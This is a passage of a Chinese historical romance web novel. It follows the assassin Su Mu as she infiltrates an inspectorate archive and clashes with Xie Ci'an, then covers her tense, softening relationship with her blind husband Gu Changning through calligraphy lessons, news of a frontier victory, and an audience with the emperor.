稽查司所在的巷道静得出奇。青砖高墙森然耸立,檐角覆盖的黑瓦在无月的环境下更显静谧。 里头偶尔传来些狗吠之声, 苏木绕过曲折檐壁,看到了门前巡逻的侍卫。那些个金光甲衣的身影在灯下拉的很长,凭着夜影浮动,苏木判断门前有几人。 见正门不好硬闯,苏木来回观察四周。她一袭夜行衣紧贴身形,如燕飞掠屋檐,声静似无, 融入一片夜色之中。 稽查司之中布局不似侯府曲折, 平地教多, 苏木落地后每行一寸都要小心回首, 几经辗转后绕过前厅,她来到司内内院。 内院侍卫不比外院少, 她避开两处交错的巡逻, 从角门翻身而入,落地无声。 文库在稽查司西偏院, 门窗皆紧锁, 屋檐下还悬着铜铃以防贼人, 苏木趁外头侍卫说话声,近前来捂住守于门外之人的口鼻,还未待他反应, 人已昏沉倒下。 她手指一拨,铜铃震颤声被她止住,从守卫身上摸到钥匙,她小心开锁,随后拖人一并潜入。 屋中漆黑, 屋中却还残留着几丝烛蜡燃尽气息,想来一个时辰内有人曾来过文库,苏木不敢耽搁,生怕人再次折回,迅速翻找与穿梭在书架之间。 案几上也堆满了文书,见架子上迟迟未翻到想要的东西,苏木便朝另一边而去,夜眼在名列中飞快扫过,最后定在一处。 她迅速抽出卷轴间的图纸,展开间便用脑子飞快记下路线与符号。 秘阁,在中宫南侧玄武殿后。 记下位置,她指尖一抚,卷轴便恢复如初,她小心放回卷轴中,随即猫着步子往门而去。 院中传来交谈声。 那声音苏木记得很清晰,是谢辞桉。 她今日前来是打听好的,知道谢辞桉今日并不在稽查司才来,可为何,他现在又处在此处。 心下疑惑,但更多的是警惕,她躲于门侧,手中短刀握得死死。 “你说今日有密信被劫?” 谢辞桉得语中似有惊愕。 “是,在城西滑石坡,但贼人所截乃是白纸,无所用信息。” “被劫之信是何处的可查到了。” “是顾家。” 顾家,一听顾家苏木浑身都绷紧了,这偌大的上京城有几个顾家。 外边似顿住一刻,暂时无声。 “也罢,想来是担心夏丹状况所探密报,这信暂且不用查了,劫信的那波人必须查出来。” “是。” “对了……前些日子顾小侯爷在殿前受罚一事你可知?” “知道的。” “照理说往前宣德候也曾违令过,但将在外令有所不受,况每次都能反败为胜,圣上都未曾动怒,为何这次迁怒于顾小侯爷?” “回大人,有件事……小的不知当不当讲……” “不当讲就不讲,既开口了说罢。” 谢辞桉语气很缓,叫人听不出情绪。 “听说……小侯爷大婚那日晚上,圣上撞见了娴妃娘娘和小侯爷……” “大胆!” 那小厮话还没说完就被谢辞桉打断,他声音之厉,显然是动怒。 “此话休要再提!” 苏木听到拂袖之声,外面一时便没了动静。她来不及思考话中之意,只靠着门窗静听动静。 良久后,苏木屏息,确认无人后她才开了门,转身轻扣住门,苏木顺着来的方向而去。 脚点屋檐,稽查司一时如鸟瞰图般呈现眼前,苏木只往下警惕看了一眼,却突然对上了一双清朗的双眸。 呃……真是不凑巧了…… “谁!” 见谢辞桉没认出来自己,苏木猛地往外檐飞去,却不料谢辞桉轻功毫不逊色,竟是紧跟其后。 刀剑袭来,苏木短剑毫无优势,只得在往前飞掠的同时旋转弯腰,一次次躲过攻击。 她还从未和谢辞桉搏斗过,想起小的时候那个拿着木棍都打不过自己的人现下出手凌厉,招招致人死地,苏木心中竟泛起一丝酸涩。 只是这酸涩还未教她察觉,却被腰下一紧给止住。 苏木低头,瞧见自己腰间系带被谢辞桉刀背挑住,拉扯之间,教她动弹不得。 她翻身踢脚,长剑划向别处,见落空后苏木急奔向前,却听瓦上清脆一声,怀中玉佩落在屋檐之上。 该死,她咋又把玉佩带在身上了。 她低腰正要去捡,一刀尖直抵下颌,她连退几步,又往侧边闪去。 玉佩落入谢辞桉手中,苏木暗叫不好,立马上前,她手脚并用,反身谢辞桉近身搏斗。 她去拿那玉佩,手中短刀直直刺向谢辞桉的胸膛,她知这一招谢辞桉定能逃过,她不过是想要借此让他侧身,为她取玉佩留有缝隙,可未料眼前人没了动静,她直直地将刀剑插入他的右肩。 苏木愣住了。 他为何不躲? 融入夜色之人垂首,他的眼底仿佛只有那个玉佩,这个玉佩,是当年他亲手打造给沈珏明,这世上绝对无二。 他吃痛瑟缩,缓缓抬眼。 苏木眼底满是复杂,她明明知道自己带了面巾那人认不出她,可她还是下意识地别过眼神。 身后,突然传来一声。 刀势凌厉,那刀刃掠过苏木直接刺向二人中间,苏木心惊一瞬,用短刀替他挡开,只是有些迟了,手臂被浅划一痕,苏木吃痛,朝侧边人看去。 是一个男子,而且,是在帮她。 “愣着干嘛!走!” 男子声音短促,苏木听的模糊,不辨其人。 她的手腕被人拽住,苏木反应过来,看着还愣在原地的谢辞桉,以迅雷之势夺回他手中玉佩,随即由着那人的牵引,往另一檐而去。 身后风声呼啸,却未见追来之人。 在苏木落地巷口时,身后之人也一并落下。 谢辞桉未近身,声音却沙哑。 “你究竟……是谁。” 苏木沉默,她伫足半瞬,随即反握着旁边之人,消失在夜色之中。 身后再无人追上,苏木停了步子,她顿住疾跑的步子,看向所拽之人。 她眼如鹰,死死地盯着对方的眼睛。 她不记得闳离阁有男弟子,也不记得自己何时结了善缘而得人相救,所以,她对待眼前人,也是十分怀疑警惕。 男子似乎意识到了苏木所疑,还未等苏木开口,他便反手挣脱,先她一步,消失在夜色中。 他的轻功在她之上,她就算追也追不上,苏木望着那背影消失的方向,陷入无尽的静默。 那人未出声,未道名,未曾见,却知她为何出现在稽查司,且他带她逃跑方向也是轻车熟路,比她所走原路更加绕,也更加安全。 因为穿着夜行衣,苏木是直接绕过后门潜入侯府的,毕竟她夜行之事她不想教人知晓,特别是顾长宁,到时候别怀疑她干些损人不利己之事,她也懒得跟人解释,更不想和他有太多交际。 所以关于进宫要潜入秘阁之事,她同样未告知他。 东厢房里苏木的东西还未搬完,她担心顾长宁已回了主屋,于是在东厢房换好衣服。 瞧见右臂上所划口子并不深,甚至可以说是浅显一条,她在给自己抹上药后随即看向放在柜子中的玉佩。 谢辞桉……还记得这玉佩。 她脑海里浮现了谢辞桉那张失神的脸,那双震惊的双眼,以及最后的那一问。 她将玉佩重新放入怀中才往后厨去。 刚到后厨便看见一小厮在煎药,苏木上前。 “见过夫人。” 苏木头也不抬:“无妨,我来看看药煎的如何了。” “你先下去吧,这药我亲自看着。” 苏木坐在午时所坐的矮凳上,有一搭没一搭地扇着炉火,思绪却如乱麻一般。 重要之事不能耽搁,首当其冲地是她应记住秘阁所在位置。 东厢房无纸笔,主屋又担心顾长宁在,恰在这后厨此时无什么人,她拾起一根细小柴炭,从怀里拿出干净手绢。 大致描绘路线后苏木将炭磨得更尖,在上面标上了“中宫南侧玄武殿”几个字。 一切妥当,见前后后厨依旧没人,她放心得将手绢放置衣襟之中,掀开瓦罐看了眼药。 药还得熬一阵子,苏木握着手中蒲扇,扇得仔细。 说起来,顾长宁的确长得不赖,可能唯一不足之处便是眼中无神,若是他眼睛好了,那也算是画龙点睛的功劳一桩了。 苏木很喜欢治病救人,在蔺州无事时她就会常在静医馆当坐馆大夫,光是看着有些苦痛之人能恢复康健的模样,她便很开心了。 所以,现在想起顾长宁眼睛能够恢复光亮,她似乎也是期待的,开心的。 想起顾长宁不免让她想起今夜在稽查司所听到的谈话。 娴妃和顾长宁…… 她没听到后半段,所以也有些想不通此事为何会教皇帝震怒,毕竟人家可是姐弟欸,姐弟还不能说说话了? 光是这样听起来,似乎的确没有怪罪之处。苏木仔细回想起之前的种种细节,一个让人惊愕的念头突然升在脑中。 想想娴妃受罚他的震怒,想想他说周垣和皇帝都爱慕娴妃,想想臣子大婚皇后未来而是娴妃陪同,想想顾长宁不近女色的传闻,还有三年前失明后变得阴沉…… 敢情这变化哪是因为失明啊,是因为自己喜欢的人要嫁给皇帝。 所以……是顾长宁给皇帝戴绿帽子了? 结合种种细节,苏木越深想越加笃定心中答案—— 第60章 夜里下了些雨, 沁着些凉意,雨打海棠, 嫣红落下一地。 骤风急扬,海棠花在夜灯下诡异摇曳,那些个黑晃晃的影子,让苏木想起今晚救她的那个人。 实际上,那个人就算不救她,她也万不可能落入谢辞桉手中,所以他平白地来救她这一遭, 反而让苏木觉得, 自己被人监视了。 会是何人, 又似乎并不难想。 置身于青阶之上, 苏木端起手中药,驻足片刻, 随即推门而入。 依旧的, 墨色山水屏风隔着整个主屋,塌上之人端坐着, 影子随灯火跳跃其上, 却仍显寂静稳重。 苏木绕过屏风, 看向那被白素巾遮住眼睛之人。 “喝药了。” 苏木将药碗直接递给他。 见他未有应答却不假思索直接喝下那药,苏木不禁皱眉:“你如今,好像完全不担心我会毒杀你了。” 说完这句话, 苏木顺着案几坐下,掀眼看他,他将药碗凭着记忆落入榻边小案,轻扯起一抹笑:“你会吗?” “会啊。” “为何不会。” 本以为自己回答的够决绝,他至少会收回那抹笑意, 却不曾想,他却笑意更甚:“那你为何没在此药里下毒?” “时间还未到。” 苏木撇嘴,用着十足不在意的语气。 “若影还显,若即若离。” “你若是有什么想问的便直接问吧,你从前不是什么吞吞吐吐之人。” 前一句话她听的并不明白,甚至是有些模糊。回想起来她也只是在八岁前浅略读过一些幼学范本,后来……好像也没什么机会了。 不过后面半句话直白,苏木本也没打算行话中有话那一套。 “你还在派人跟着我是吗?” 她的语气很是生硬,她不喜欢甚至是讨厌有人这样暗地里监视着自己,她是一个活生生自由的人,不是被人攥在手里的风筝。 “是。” “为何?” 他回答如此之快,苏木愠意更甚。 “我想你应该知道,从上次之事,我以为你应当能察觉得出,你身边不是无人。” 他往后床架上一倚,语气懒懒。 上次之事并不难想到所指何事,可她如今不是再为他做事的一颗“棋子”,他却依旧派人时刻监视着她,这让她感觉很不爽。 “饶是如此,你也应该知道,现下你我的关系也不再如从前,你这般监视着我,是怕我杀了你还是做什么对你侯府不利之事?” “你这样想也无错。” 他摩挲着左手的玉扳指,神色教人看不清,但语气却极其平缓:“在你我关系未正真划清界限之前,你身边的人,我是不会撤回的。” “还有,你去稽查司所为何事?” 苏木一愣,心下防线更紧了一分,她警惕看他,却又轻笑一声,这一声似嗤笑,似嘲讽:“由着你问我我就非得答吗?” 她不难猜出,既然她身后一直有人,那么她入谢府治林氏之事,她今夜也探稽查司之事,他都会知道。 “你不想答,我来替你答。” 他语气重了几分:“苏木,我需得告诉你,若你只是闳离阁的杀手也罢,若你还与其他勾连。” “你往后,离不了上京一步。” 话里有话,苏木不蠢,可究竟是什么意思,她好像又没读明白。但眼下人的语气她却不会判断错,和刚刚平和不同的,似乎带着一丝冷意和杀意。 她眼底冷下几分:“你什么意思。” 说实话,顾长宁没想到她竟然没听懂。 他不是第一次听说苏木与谢府多有接触,不管是在城西她遇谢辞桉那次,还是她入府替人诊病…… 一个杀手,莫非过于多管闲事了。 可是,她没听懂,好像也不是什么坏事。此事尚有存疑,若恍然挑破,不利自身处境。 想罢,顾长宁摩挲着玉扳指的手停下了:“没什么意思,正如你所说,你如今一言一行代表着侯府,所以你身边时刻有人,我方能安心。” 他循着刚才她的话,将话又圆了回来。 苏木狐疑。她知道顾长宁刚刚话里绝对不是这个意思,可究竟是什么,她好像又无法看破,这种感觉犹如梦中迷境,教人看不穿却也教人不舒服。 她的目光在他面目上睃巡,却没看个明白。 他以为她会和稽查司勾连,还是以为稽查司能和闳离阁有何关联,他似乎也太看得起自己。 “你放心,我做何事不会牵连你侯府,你眼睛一好,我一解毒,一别两宽。” “你的人你要撤也罢不撤也罢,最好别再让我瞧见,否则,我苏木手上不介意多条人命。” 顾长宁的头往她这边侧了几分,听着她语中狠厉,一时不语,屋中寂静。 片刻,外头雷声夹滚骤雨,将苏木身后的窗砸的框框作响。 雨滴飘入后背,为这烦闷的气氛染上些清凉。 风自后背灌入,透过苏木吹向塌上之人,他眼前白丝被吹的凌乱,若是再吹似乎活扣便要将将揭开。 鬼使神差的,她起身扣住了窗。 “我的眼,何时能好?” “你这是旧伤,急也没用。” 她语气生硬,愣是刚才气意未消,但转身再坐时眼中倒影出来的人就那样静静坐着,刚才的风将他衣衫发丝皆吹的凌乱,白衣裹身,好似清冷又好似……很孤独。 她不由地想起那一夜,他也是这样坐在主屋案前,房里未点灯,室中弥漫铁腥,紧握的拳头流出的血是因为宫中那位。 也对了,他喜欢的人是宫中之人,正如今日所听到的一般,新婚之夜二人见面,他恐怕也是在解释,解释二人是权宜,他心依旧属她。 所以顾长宁,他应该也希望自己眼睛尽快好,然后二人去南疆把毒一解,各走各路。 她不由的想远,完全忽视了顾长宁正在叫她。 “苏木?” “苏木!” …… 她回过神来:“什么?” 她收回思绪,眼前的面容也愈加清晰起来,光从那生硬的下颌她便得知,顾长宁并不高兴。 她以为是自己说的那句“急也没用”,于是补充:“你的病还差一味药,正在路上。” 不知道是她的错觉还是什么,说完这句话,她似乎觉得顾长宁面廓更加生硬了。 “你刚刚在出神。” “嗯。” “你刚刚没听清我的话?” “嗯?” 苏木疑惑,却的确不知他所说何话:“你刚说什么了。” “……” “没什么,睡觉——” 隔着屏风,二人皆携衣入睡,背对着对方,谁也没说话。 二人似乎早已习惯如此。 之前,苏木还曾和顾长宁商量自己搬回东厢房,但他却由着眼伤背伤的缘由拒绝了她,更重要的理由是演戏也要演好。 后来,苏木不提这件事了,只是让东厢房的东西先不撤,她偶尔也要回去。 所以这几日,白天二人治病,晚上二人便是一句话也不说,隔着屏风犹如身出两地。若不是耳边能传来对方的呼吸声,苏木几乎以为自己是谁在东厢房的塌上。 以往她都睡的很实,可今晚她却翻来覆去。想起今日对话,苏木总隐隐想起顾长宁那未说完之语。 她想来讨厌有人说话只说一半,想起幼年她常去茶馆听书,一听说书先生说下回分解,她直接要原地升天。 而顾长宁刚刚那欲言又止的话,亦然如此。 想罢,她还是决定问一问。 “顾长宁?” 她声音很小,像是怕吵到别人,又怕吵不到他。 从薄被中嗫喏而出的声音,带着些柔和的意味,所以传在顾长宁耳朵里,没来由的让他心头一滞。 他调整呼吸,试图让人听起来觉得自己已沉沉入睡般。 “顾长宁?” 见人没反应,苏木这声倒是更小了一般。 她不由地小声:“你这睡着的倒是快,我却睡不着了。” 本以为无人回应,苏木捏了捏自己的被褥,听着外头雨声试图入睡,却料屏风后忽然传来了平缓底醇的声音。 “因何睡不着。” 苏木背后一僵,随即翻身,看向屏风后投射出来的床榻,有些没好气,“没睡怎么不答应” 可顾长宁并未答她,她只好接着刚才他的问题回答,“因你的话。” “何话?” 顾长宁回想,似乎没觉得那句话如此意味悠长,能叫一向睡的实的人辗转难眠。 “你未说完的话。” 这话一出,顾长宁不知心底是如何感觉,他只感受到一股热意好像冒出了头。他刚才在她出神时的话,也只是想说:他不急,只是担心边关之事,担心一些没来由的东西。 只是这话现下说来,好像不太合适。 可是她会因为他未说完的话而辗转。这是什么感觉,他说不清,可却能让他眉头舒展。 他也侧过身,看着屏风:“没什么话。” “但眼下,我倒的确有一句话要问你。” “你说。” “‘假作真时真亦假,无为有处有还无’你可知是何意思。” 苏木没想到他说了一句诗,一时蹙眉去认真回想,甚至还比着嘴型重复了一遍。 “前半句倒像是一种自我蒙蔽,把假的当作真的,真的变成了假的。” “后半句呢?” 苏木眉蹙地更紧了,说实话这后半句多少有点绕,她没听明白,更别说想明白。 “你能……再重复一遍吗?” 可顾长宁却没再重复,他自顾自地解释:“无为有处有还无是指,把没有的当作有的,有的好像也变得没有了。通过装糊涂来保护自己,不把自己的内心完全的暴露。” “所以人不能被江花水月所欺,还应抽丝剥茧,方见事物本真。” 顾长宁脑中混着眼前的黑暗,似乎坠入无间之中,把没有的当作有的,把假的当作真的,不停的欺瞒自己的,似乎就是自己。 不管是避世之举,还是当下想要留住一个人的私心。 不管怎么说,听起来都有些可笑。 他好像,对苏木不是单纯的喜欢,只是在身旁无人时,希望寻着一处温热庇护,希望有人能够懂他,知他。 苏木每次说的话并不好听,但似乎有时候又能说到他心中去。 她说,逃避是解决不了问题的。所以他要自己的眼睛清明,他要重新站在世人之前,一步步抽丝剥茧…… 苏木哪知道她心中的百转千回,她只觉得莫名其妙,好端端的还不如不问,这一问倒戳中了她的痛楚,她没学识。 幼年她喜欢看些杂书,所以对待幼学之教并不在意,长大些后要为了生存,为了报仇而不断锤炼自身,渐渐也失去了机会。 苏木闷“哦”了一身,随即翻身又背对着他。 “你不高兴了?” 收回思绪,顾长宁似乎听到了她那声“哦”的郁闷。 他这一问,苏木更郁闷了,偏他还听出又问她。 “没有不高兴。” “顾长宁,你读过很多书?” 她不知道自己为何这样问,但却没忍住,还是问了。 毕竟幼年在上京时天天和谢辞桉鬼混,很少听闻侯府公子之事。 “不多。” “可你写的一手好字。应当读过很多吧。” 她想起顾长宁书桌前的字迹,铿锵有力自带镫骨。那种字迹,好似一下便能燃起她想习字之心,比起父亲的字,这种似乎更让她欢喜。 “我虽不知,但也听说过上京双英,你不用自谦。” “你呢?” 顾长宁不应,反问。 苏木将双手伸出被褥,只觉温暖被冷觉一下子击破,却又觉得凉爽,好似她接下来要说的话一般。 她不想窘迫,于是满不在乎:“和你的话一样,不多。” 这一声,顾长宁却笑了。 苏木更恼了:“有什么好笑的。” “苏木。” “干嘛。” “明日扬风凌风不在,我胳膊伤未好,你可否帮我执笔写信?” “……” “我字如狗刨,怕是帮不了你,你另寻他人吧。” “那你想要自己的字好看吗?” “……” 想要自己的字好看吗,这些年来,除了父亲瞪着眼对她说过,好像无人再问她了。 想吗,当然想。 父亲是御史台清官,母亲是江南官窑女,二人字迹不同却各有韵味,甚至父亲的字迹为名士所求,幼时她曾临摹,却一点不像。 “苏木” “干嘛!” 她不明白顾长宁一直叫她名字干嘛,每回都打断她的思绪,她很是烦躁,语气也不好。 “你需要的话,我可以教你。” 什么叫做你需要的话我教你,显得我很弱一样,苏木刚想驳回,塌上之人却再次出声。 “你治我眼睛,又耽搁了你很多,这次,算我的弥补。” “谁需要你教,还有……谁需要你的弥补。” “那算了。” “什么叫算了?” “你不是说不需要吗?” “要弥补就弥补,废话那么多。” 60-70 第61章 可苏木似乎忘记了, 顾长宁是个眼盲之人,他教她习字, 如何教?只不过是将自己的笔帖拿出来,让她临摹。 他拿出来足足有五指厚,看起封乃是幼年常居父亲书架的大型韵书《集韵》,此书收集字颇多,用于查字,押韵或者作诗。 苏木为了方便,将书案置于庭中海棠之下, 海棠花阴遮住刺眼的阳光, 又光线充足, 抬眼可见风景, 也不显得那么枯燥。 只是,这练字好像不比练武, 她手握住笔习字时, 那笔锋似不听使唤,竖中写的歪歪扭扭, 一撇一捺似蚯蚓, 没多久苏木便苦不堪言的揉了揉胳膊, 再看舒舒服服躺在身后太师椅上的顾长宁,她便更不平衡了。 但多少她也是习武之人,有耐力在身上, 愣是不服输也不愿教人看不起,所以在案前足足写了两个时辰,直至传膳。 许是知道她练字累了一般,今日膳食比平常更加丰盛,苏木不由抬头感激般地看向张叔, 张叔投以慈祥微笑。 苏木想着顾长宁的伤以及眼睛,仔细着将辛辣菜品置于自己这边,又将清蒸类淡盐淡辣之物推至他跟前。 自二人成婚以来,他们时常处于一桌吃饭,下人们也早就见怪不怪,心底好像也没有将她看作一个侧室,而是看成了自家公子明媒正娶的侯府夫人。 想起膳房的药,苏木吞下最后一口八宝鸭肉,看向林叔:“林叔,把郎君的药端来吧。” 苏木早就习惯顾长宁食欲淡薄,见他动筷不多,便想着在此把药喝了,她也好继续去练练字。 见林叔走远,苏木又看向对桌之人。 素锦遮眼,这便愈发不能看清楚他神色。 刚见他一入院中就躺着不动,睡的香甜她也不好问,现下才问他:“你给我一沓《集韵》,多少有些枯燥,你是不是临摹过什么诗词歌赋,或是民间轶事,拿给我呗。” 顾长宁放下筷:“习字本是修身养性,抄一笔便记住一理,轶事等风趣书籍,不利习字,未曾习过。” “……” 他说的好像在理,苏木无法反驳。顾长宁的字行云流水,疏密得当,每一次回锋转笔皆有各自风味,其实很难临摹。 相比较此,她要是上手正规楷书,似乎更加有利。 可她好像偏偏就喜欢他的字,他的字似乎是除了父亲的字以外,她最想习得的。 真是莫名。 她的沉默使顾长宁声音沉缓许多:“我那字不好习,我可以给你去寻些其它……” “不用了。” 苏木知他想说什么,一口回绝:“我就喜欢你的字,就学这个。” 她的话她自己未有意识到不妥,可到了顾长宁的耳朵中,却是不一样。 她喜欢他的字。 顾长宁的唇角几不可察的勾起,苏木未发觉,他自己更未发觉,于是连带着,他心中似乎都舒畅了许多。 “既如此,随你。” 四月的天阴晴不定,就如堂外,昨夜还是暴雨连绵,今日烈阳高悬,洋洋洒洒在食厅之上,落在顾长宁下颌时,使他那蜜色的脸庞生出几分玉似的白皙。 苏木看的恍然,不知何时,他们二人开始变得和气,对着说话时也不是字字带刺,甚至如今,她竟然临摹着他的字。 她面色柔和,她自己也未可察。 这样的宁静美好,若是停留在此刻,好像也未尝不可。 “你的信……写好了?” 意识到自己出神,苏木忙转过眸光,看向远处错落的楼宇。 “嗯。” 她像是在无话找话,一时又沉默不语。 一阵急促的脚步声打破了沉寂。 苏木循声望去,是扬风,他步履如飞,似乎恨不得一脚踏进食厅,在看到顾长宁后,直接忽视了他,拱手以礼。 “公……公子……” 他语气颤抖,却又带着惊喜,眼底满是光泽雀跃,苏木好像猜出来他即将要说出的话。 果不其然,他努力平复自己的情绪,随即说出了那个振奋人心得消息。 “西北大捷,侯爷率潜兵绕峪口关断敌营粮草,夜袭敌营,已破蜚楚,蜚楚……收回来了!” 蜚楚……收回来了? 这句话如同平地惊雷,炸的苏木耳边发麻,她下意识地抬头去看顾长宁。 他的眼睛虽被素白所遮,但唇角上扬之势,指节紧攥握拳之势,无不透露着他的高兴。 他几乎是如破竹般站起来,他不住的扬手,似要抬起手臂,却又先向下扶起扬风。 他似乎不喜欢表露自己的心情,所以即使在这样的时刻,这样大快人心安定人心的消息传至耳中,他也没像她以前所见的武将一般锤胸顿首。 他低头又抬头,随即又往外走了几步。 就这几步,外头暖色日光尽数洒在他身上,他仿佛才是浴血奋战回来的勇士,接受着圣光的沐浴。 “好,好……好” 最终,他的口中也只是不断地重复着这个字。 扬风与他一同高兴,就连苏木,也松了一口气般。 这几日,除了三日前他曾问过她边关之事,他再没问过。她也听闻过此战凶险,也有些担心战局,她甚至觉得,七日之内无消息传入,顾长宁得不顾眼伤轻上夏丹。 但他一直都很平静——直到今日。 长久以来,她见过顾长宁阴冷的模样,失魂的模样,怒目的模样。 但想眼前的开怀,却是从未有过的。 “还有什么消息?” “夫人……药” 顾长宁问向扬风的同时,林叔正立于苏木身侧,她看着林叔手中端的药,接过手,声音极小:“给我吧,你先下去。” 扬风继续说道:“大捷消息是今早传入宫中的,圣上大喜,侯爷不仅收复蜚楚,还将寮州一众逼至匣门以外,寮州节节颓败已有和议之向。” “圣上怎么说。” “圣上和摄政王商议着,派遣朝中重臣往匣门去,看来是有心谈和。” “圣上派了何人?” “派了西北总领节度使大人前往。” 顾长宁沉默片刻,随即点头。扬风退下后,顾长宁立于门前,好久没做反应。 苏木听着二人一来一回,她没多插话,但也是开心的。 天佑五年前蜚楚被占,民不聊生,她不是没有听说过。 她将尚温热的药递给他:“喝药了。” 他垂首侧身,抬手时与她指节相触,凉意袭来,顾长宁接过那药,一口灌下。 “你冷?” 他没将碗递给她,而是转身后往前摸索了几步,自己将碗搁置。 想起刚才指节相触,苏木应道:“常如此,不影响。” 良久,顾长宁没说话,他握起盲杖,向外探去。 苏木在其后思索着什么,她犹豫着要问什么,也不知道自己为何要问,但她却跟在他身后,毫不避讳。 “战捷,老侯爷,可能回京述职?” 落地盲杖一顿,随即又往前摸索而去。 “会的。” “你和你父亲,多久未见了?” 她没意识到自己为何要这样问,只是脑中有着那日缩在黑暗主屋里的人影,却想这么一问。 “三年。” 自荒南那场战事之后,他们已三年未再见过。 苏木点点头:“此次大捷,你与老侯爷能团聚,是喜事。” “从夏丹到上京,需几日?” 他绕过回廊,不知她今日为何话如此之多,却少有的好脾气回答:“十日。” 十日。也就是说,如果皇帝大喜,她和顾长宁能进宫谢恩后可能还有机会进宫。 若是一次未能找到秘阁所在,还有第二次的机会! 苏木心下生悦,脚步都轻快了不少:“那届时,我能同你一同进宫吗?” 按理说,武官回京述职,只单一人,但想起赐婚之事尚未通传入宫,怕是两件事情会撞在一起。 他也听到了苏木语中的雀跃,这丝雀跃让顾长宁心中复杂。 这丝雀跃,是她也高兴战事所胜,还是…… 他怕是又想多了,随即步伐也快了许多,但还是点头:“能。” “好嘞!” 苏木连忙回应,心下暗喜。 好呀,机会都送上门来了,她怎能不喜,现下朝中无事忧心,二人进宫谢恩肯定是迟早的事情,想着也许真相就在不远处,苏木心中生出无数的兴奋与振奋。 “你这么高兴?” 顾长宁愕然。他不知自己怎么了,也许是今日太过高兴,所以在看到有人同她一样高兴,甚至……还可能是因他而高兴,他似乎心中有一团火在烧一般。 苏木丝毫未察觉他的内心所想,答得极其快:“高兴啊!” 顾长宁忍不住笑了一声,停在原地,转头朝她。 他现在,居然很讨厌眼前的黑暗,他想要徒手摘掉素巾,更想要抹去眼前浑浊,他想要眼中有些光亮,想要去看看,眼前这个人,她是什么模样。 她笑起来是什么模样。 顾长宁被自己的想法惊到了,三年来,他好像从未有过这样的想法,他拒人于千里,恨自己的无用,恨自己壮志未酬,更不想看到任何人看着他失望的模样。 他还想带领三军厮杀战场,昂扬于山草原野、大漠孤烟…… 可这些,都在三年里慢慢黯淡。 黯淡到想,就这样吧,在侯府护住这一隅安宁,不让宫中之人猜疑,不让所亲之人受难。 而现在,那些好像不知何时都被抛开了,他现在,想要重见光明,想要重入沙场,想要找回那些被暗捺在隐秘之间的东西。 这些改变是因为谁,他好像心知肚明—— 第62章 事实上, 还未等老侯爷回府,宫中便已然传来觐见之传。 清晨时分, 天光才刚泛白,侯府门前已有一漆黑鎏金马车停靠,车身鎏金纹饰,车帘流苏铃铛摇拽,可见此次觐见之庄重。那马匹的鬃毛也是被刷洗的乌黑锃亮,好整以待。 苏木今日换了朝见之服,衣着与婚礼大红不同, 改着一袭石榴紫为底, 外罩着墨蓝长袍, 袍襟与袖口皆绣云祥纹, 吉祥如意。 她头顶玉冠,鬓间发饰略少, 无喧宾夺主, 也无不敬之意,恰到好处。 出门时, 顾长宁已拄着盲杖立于门外, 他着一袭绯色朝服, 衣襟宽大,腰间玉带悬挂,眼上已无白绢遮挡, 浑浊无物的眼却压不住君子如玉的丰神俊朗之意。 一时之间,身后马车,廊外天色,似渐模糊,只余那人在眸光中, 愈来愈清晰。 苏木是第一次瞧见他身着朝服的模样,比起他常日所见玄色与墨青相比,多出几分庄重肃穆,以及奕奕神采。 未多言,二人被搀扶着入车。 空间狭小,让人想起第一次和他同乘马车之时。那日似与今日无甚不同,一样有些沉默。 苏木心中琢磨着事,顾长宁却先淡淡开口。 “你的字,练的还好吗?” 苏木无心交谈,挂念着宫中秘阁,因此回答的敷衍:“一般。” 想起这几日她似乎一刻不离书案,颇有一副不罢休的执着,虽不知为何,却还是安慰道:“练字急不得,倘若我眼好了,我可仔细教你。” 苏木没仔细听,随口答道:“好啊。” 对面之人勾唇,苏木却未发觉,只瞧着帘外烟雨,有些发愁。 今日街巷不似上次热闹,许是烟雨蒙眼,出门之人少了许多,就连一向热闹的东街,小贩小铺开张的都少。 虽少了些烟火气,但远方山峦的雾气随细雨飘泊,好像也别有一番风味。 “今年的雨水好像格外的多。” 马上要至五月,这般雨水要是在蔺州,只怕又会有些滑坡涝沥之险。 身后人点头:“是如此。” 再然后,二人都没再说话。 苏木垂帘阖目,似有困意,靠着窗框,和着湿泥草香而歇。 宫城巍峨,重重城阙层叠,入宫要经午门,再至承天门。 一路上,朱漆宫城高耸其上,瓦顶覆其琉璃,在烟雨中呈现出莹莹透亮,宫道两侧寂静,只余马蹄与车轮声交错回响。 车至宫门,顾长宁被随侍搀扶着下车,立于车旁。 苏木掀帘时瞧见那递向她的莹白指骨,犹豫片刻,随即搭上。指节骤然收紧,给予她冰冷的手心无限的温热。 苏木小心牵着顾长宁,随引者而进,步入丹墀。檐角悬挂着的金铃随风而动,叮当作响,二人一路由内侍所领,穿过东华门、承乾门,再至皇城正中。 太极殿前,丹墀三层,白玉为阶,金柱擎檐,殿宇恢弘。朱漆大门立于前,门钉如星嵌入,飞龙雾天显巍,昂首欲飞。 因着方便,苏木自步行便独自撑伞立于二人头顶,另一只手还得仔细顾着身侧之人,未免有些束手束脚,因此走的也是格外慢了些。 现下收了伞交给内侍,她方两手共扶,与顾长宁一步一步踏阶。 “一会儿跟着我。” 身侧之人只缓缓递出几字,淡然无波。 二人共进殿中,顾长宁先松开了手,俯身行叩,苏木还未来得及看见帘后之人,便学着他的样子,同步跪拜。 “臣顾长宁,夫人苏氏,参见陛下,叩谢圣恩。” 额头触地后,二人身影在大殿金砖上连连伏下。黄纱后的殿前御案之上,皇帝身着冕服,端坐自如,威严肃穆之感环绕整个大殿。 苏木不敢抬首,她规规矩矩和身旁之人将额抵在叠交双手之上,静听圣言。 未听得皇帝发话,却是步履平稳的脚步声离得愈来愈近,苏木感受到手肘处的衣衫摩擦,顾长宁被人扶起。 “平身。” 声音浑厚清朗,却带有毋庸置疑的威严。 “谢陛下。” “你也起来吧。” 在顾长宁开口之际,皇帝也同步说话,两句相撞,苏木知那句“你也起来吧”是对她,于是起身。 她还不敢随意打量眼前之人,只是垂首间瞧见金砖之上那双明黄色的龙靴,金线萦绕,祥龙绣其袍角,随动作浮动。 皇帝凝神二人,随即笑道:“顾卿莫要拘束,来,坐。” 他似乎毫无架子,扶起顾长宁便往殿下桌案而去,苏木则被引着向对面而去。 这时,苏木才细细打量起这太极殿。这殿宇并不如传说中那般昏暗,可谓十足的亮堂,金碧辉煌,纱帘在玉阶之上,隔开了王座与下。 殿中两岸列着如同芍药怒放的舞女,身姿纤细,发髻高耸,其衣如蝉丝,衣摆柔垂。 “接着舞。” 皇帝往帘后去,坐下后高言:“顾卿多年身侧无人,眼下朕见你有佳人在侧,我心甚慰。赐黄金百两,绢帛千两,以贺婚配。” 